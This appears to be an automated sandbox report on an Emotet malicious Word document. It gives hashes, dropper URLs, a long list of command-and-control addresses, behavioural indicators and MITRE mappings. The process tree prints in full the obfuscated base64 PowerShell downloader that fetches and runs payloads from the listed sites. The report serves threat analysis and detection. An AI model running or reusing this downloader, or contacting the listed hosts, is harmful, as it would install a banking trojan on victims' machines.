emotet | b16cdb69a8c0fb85792f37b8a979b0e3e9fe8abb6ee2dd5a0d21c50b8400720e

General

Target
Doc 2020_09_03 2504626.doc
Size 259KB
Sample200903-kkcfxayxta
SHA256 b16cdb69a8c0fb85792f37b8a979b0e3e9fe8abb6ee2dd5a0d21c50b8400720e
MD5 db0c334d0cff63688d2ba4889413d55f
SHA1 2c0379ca0d5e3d56b9f3f6ee1844d53246d3812e
SHA512 6b742e7d61dafd60a85e948be0e9453b7ff8d0613f74f1f83e36d3dbba6af6232ff4004d2733a15f2d0a4f3cd25b155be42a5c34bbd09217d5c4b7c23cff7427
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://alemelektronik.com/wp-admin/A/
exe.dropper
http://asn-espirulina.com/wp-admin/6hU/
exe.dropper
http://accemarbeyal.com/wp-includes/meR/
exe.dropper
http://somosdrucken.com/upload/Wvv/
exe.dropper
http://ballatstone.com/ballatstone.com/Dy0/
exe.dropper
http://marmi.seoper.beget.tech/fonts/Aoa/
exe.dropper
https://aselsa.com/wp-includes/0T/

Extracted

Family

emotet

C2

185.215.227.107:443
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
172.104.169.32:8080
68.183.190.199:8080
187.162.248.237:80
82.76.111.249:443
184.66.18.83:80
190.6.193.152:8080
77.238.212.227:80
199.203.62.165:80
188.2.217.94:80
185.94.252.12:80
178.250.54.208:8080
206.15.68.237:443
65.36.62.20:80
216.47.196.104:80
219.92.8.17:8080
213.60.96.117:80
77.55.211.77:8080
72.167.223.217:8080
177.74.228.34:80
186.103.141.250:443
190.163.31.26:80
85.109.159.61:443
68.183.170.114:8080
213.197.182.158:8080
45.161.242.102:80
71.197.211.156:80
104.131.103.37:8080
94.176.234.118:443
190.2.31.172:80
5.196.35.138:7080
190.195.129.227:8090
67.247.242.247:80
64.201.88.132:80
152.169.22.67:80
24.135.1.177:80
191.182.6.118:80
51.159.23.217:443
110.142.219.51:80
68.69.155.181:80
82.196.15.205:8080
77.90.136.129:8080
181.129.96.162:8080
45.33.77.42:8080
95.9.180.128:80
192.241.146.84:8080
91.219.169.180:80
188.135.15.49:80
212.71.237.140:8080
98.13.75.196:80
72.47.248.48:7080
209.236.123.42:8080
217.13.106.14:8080
219.92.13.25:80
177.72.13.80:80
12.162.84.2:8080
177.73.0.98:443
50.121.220.50:80
185.178.10.77:80
216.10.40.16:80
61.92.159.208:8080
170.81.48.2:80
45.16.226.117:443
185.94.252.27:443
217.199.160.224:7080
178.79.163.131:8080
186.70.127.199:8090
91.121.54.71:8080
190.190.148.27:8080
190.24.243.186:80
138.97.60.141:7080
104.131.41.185:8080
73.213.208.163:80
181.30.61.163:443
103.106.236.83:8080
192.241.143.52:8080
87.106.46.107:8080
2.47.112.152:80
45.173.88.33:80
204.225.249.100:7080
111.67.77.202:8080
70.32.115.157:8080
111.67.12.221:8080
70.32.84.74:8080
58.171.153.81:80
190.147.137.153:443
190.115.18.139:8080
83.169.21.32:7080
5.189.178.202:8080
50.28.51.143:8080
137.74.106.111:7080
189.2.177.210:443
72.135.200.124:80
51.255.165.160:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1940	3944	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
26	1940	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
660	Cpc_0wt.exe
1392	CredProvDataModel.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\oemlicense\CredProvDataModel.exe	Cpc_0wt.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = d9660d353e82d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1928	WINWORD.EXE
1928	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1940	powershell.exe
1940	powershell.exe
1940	powershell.exe
1392	CredProvDataModel.exe
1392	CredProvDataModel.exe
1392	CredProvDataModel.exe
1392	CredProvDataModel.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeCreatePagefilePrivilege	2300	svchost.exe
Token: SeDebugPrivilege	1940	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 660	1940	powershell.exe	81
PID 1940 wrote to memory of 660	1940	powershell.exe	81
PID 1940 wrote to memory of 660	1940	powershell.exe	81
PID 660 wrote to memory of 1392	660	Cpc_0wt.exe	82
PID 660 wrote to memory of 1392	660	Cpc_0wt.exe	82
PID 660 wrote to memory of 1392	660	Cpc_0wt.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Doc 2020_09_03 2504626.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABVAHoAMgBzAGMAXwBxAD0AKAAoACcAWABiADAAJwArACcAYgBoACcAKQArACcAMAAzACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAGUAUgBwAFIATwBGAGkAbABFAFwAWQBxADEARgAwADkATQBcAEkAbgBZAGMAUAA2AFAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAVQBSAGkAVAB5AFAAcgBPAFQAYABvAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAJwApACsAKAAnADEAMgAsACcAKwAnACAAdAAnACkAKwAnAGwAJwArACcAcwAnACsAKAAnADEAMQAnACsAJwAsACAAdABsAHMAJwApACkAOwAkAEcAawB2AGEAegB1AF8AIAA9ACAAKAAoACcAQwBwAGMAJwArACcAXwAnACkAKwAoACcAMAB3ACcAKwAnAHQAJwApACkAOwAkAE8ANgBwAHIANwBqAHIAPQAoACcAVwA5ACcAKwAoACcAaQAnACsAJwBhADQAJwApACsAJwBzAHYAJwApADsAJABUADgAawAyADYAdABsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQQAnACsAJwBOADcAJwApACsAJwBZACcAKwAoACcAcQAxAGYAMAAnACsAJwA5AG0AJwApACsAJwBBACcAKwAoACcATgA3ACcAKwAnAEkAbgB5ACcAKQArACgAJwBjACcAKwAnAHAANgBwAEEAJwApACsAJwBOADcAJwApAC4AIgBSAGUAYABwAEwAQQBDAEUAIgAoACgAWwBjAGgAYQByAF0ANgA1ACsAWwBjAGgAYQByAF0ANwA4ACsAWwBjAGgAYQByAF0ANQA1ACkALAAnAFwAJwApACkAKwAkAEcAawB2AGEAegB1AF8AKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABBAHUAagA5ADAAbABoAD0AKAAnAFEAJwArACgAJwBnADAAYQAnACsAJwA0ACcAKwAnAHAAegAnACkAKQA7ACQASQB0AGgAcgBwAG0AMgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAEwAaQBFAG4AVAA7ACQAUwBoADgAaQBtADQAMAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAGEAJwApACsAKAAnAGwAJwArACcAZQBtACcAKQArACgAJwBlAGwAJwArACcAZQAnACkAKwAoACcAawAnACsAJwB0AHIAbwBuACcAKwAnAGkAawAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAtACcAKwAnAGEAZABtAGkAbgAnACkAKwAnAC8AJwArACgAJwBBAC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAnACsAJwAvACcAKwAnAGEAcwBuAC0AZQBzAHAAJwApACsAKAAnAGkAcgAnACsAJwB1ACcAKQArACgAJwBsAGkAJwArACcAbgBhAC4AYwBvACcAKwAnAG0ALwB3AHAAJwApACsAJwAtAGEAJwArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4ALwAnACsAJwA2AGgAJwArACgAJwBVAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAoACcAcAA6AC8ALwBhAGMAYwAnACsAJwBlACcAKwAnAG0AYQAnACkAKwAoACcAcgBiACcAKwAnAGUAeQBhAGwAJwApACsAKAAnAC4AJwArACcAYwBvACcAKwAnAG0ALwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAbAAnACsAJwB1ACcAKQArACcAZABlACcAKwAoACcAcwAvACcAKwAnAG0AZQAnACkAKwAnAFIAJwArACgAJwAvACoAJwArACcAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvAHMAbwAnACsAJwBtACcAKQArACgAJwBvACcAKwAnAHMAZAByAHUAYwBrAGUAJwArACcAbgAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHUAcABsAG8AYQAnACsAJwBkACcAKQArACgAJwAvAFcAdgAnACsAJwB2AC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8ALwBiAGEAJwApACsAKAAnAGwAbABhACcAKwAnAHQAJwApACsAJwBzACcAKwAnAHQAbwAnACsAJwBuAGUAJwArACgAJwAuAGMAbwBtAC8AYgAnACsAJwBhAGwAJwArACcAbABhACcAKwAnAHQAJwApACsAKAAnAHMAdABvAG4AJwArACcAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAvAEQAeQAwAC8AJwArACcAKgBoACcAKQArACgAJwB0ACcAKwAnAHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AbQAnACkAKwAnAGEAcgAnACsAKAAnAG0AaQAuAHMAZQAnACsAJwBvACcAKQArACgAJwBwACcAKwAnAGUAcgAuAGIAJwArACcAZQBnACcAKQArACgAJwBlAHQALgAnACsAJwB0AGUAYwBoACcAKwAnAC8AZgBvAG4AJwApACsAJwB0AHMAJwArACgAJwAvAEEAJwArACcAbwBhAC8AJwArACcAKgBoAHQAdAAnACsAJwBwAHMAJwArACcAOgAvACcAKwAnAC8AYQBzACcAKQArACcAZQBsACcAKwAoACcAcwBhAC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0ALwB3AHAALQBpACcAKQArACcAbgAnACsAKAAnAGMAbAAnACsAJwB1AGQAZQBzAC8AMABUACcAKwAnAC8AJwApACkALgAiAHMAcABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQAwADkAaAB1ADAAawA9ACgAJwBPACcAKwAnAHYAaAAnACsAKAAnAGsAJwArACcAMgAyAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAGQAYwBfAHEAegAyACAAaQBuACAAJABTAGgAOABpAG0ANAAwACkAewB0AHIAeQB7ACQASQB0AGgAcgBwAG0AMgAuACIARABgAE8AdwBgAE4ATABgAE8AQQBEAEYAaQBMAEUAIgAoACQAQQBkAGMAXwBxAHoAMgAsACAAJABUADgAawAyADYAdABsACkAOwAkAFYAZQBfAHAAbgB3ADUAPQAoACgAJwBSAGMAJwArACcANgAnACkAKwAnAHoAJwArACgAJwBrAHIAJwArACcAdgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABUADgAawAyADYAdABsACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA4ADcAOAAyACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2ACcAKwAnAG8AawBlAC0ASQB0AGUAbQAnACkAKAAkAFQAOABrADIANgB0AGwAKQA7ACQAQgA1ADYAdQBvAG8AYwA9ACgAKAAnAFAAbgAnACsAJwBvACcAKQArACgAJwBlACcAKwAnADgAdwA2ACcAKQApADsAYgByAGUAYQBrADsAJABKAGcAegBxAGsANQB1AD0AKAAnAFIAdAAnACsAKAAnAHIAZAAnACsAJwB2AG4AJwApACsAJwBkACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVABjAHoAOQA0AGMAcAA9ACgAJwBZACcAKwAoACcAZgAyACcAKwAnAGkAcQAnACkAKwAnAGYAMgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1940
- C:\Users\Admin\Yq1f09m\Inycp6p\Cpc_0wt.exe
  "C:\Users\Admin\Yq1f09m\Inycp6p\Cpc_0wt.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:660
- - C:\Windows\SysWOW64\oemlicense\CredProvDataModel.exe
    "C:\Windows\SysWOW64\oemlicense\CredProvDataModel.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1392

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/660-15-0x0000000000590000-0x000000000059C000-memory.dmp

Download

memory/660-14-0x0000000000580000-0x000000000058D000-memory.dmp

Download

memory/1392-18-0x00000000004B0000-0x00000000004BD000-memory.dmp

Download

memory/1392-19-0x0000000002030000-0x000000000203C000-memory.dmp

Download

memory/1928-0-0x00007FF9D72B0000-0x00007FF9D7976000-memory.dmp

Download

memory/1940-10-0x000001D740790000-0x000001D740791000-memory.dmp

Download

memory/1940-9-0x000001D7404A0000-0x000001D7404A1000-memory.dmp

Download

memory/1940-8-0x00007FF9CFCA0000-0x00007FF9D068C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads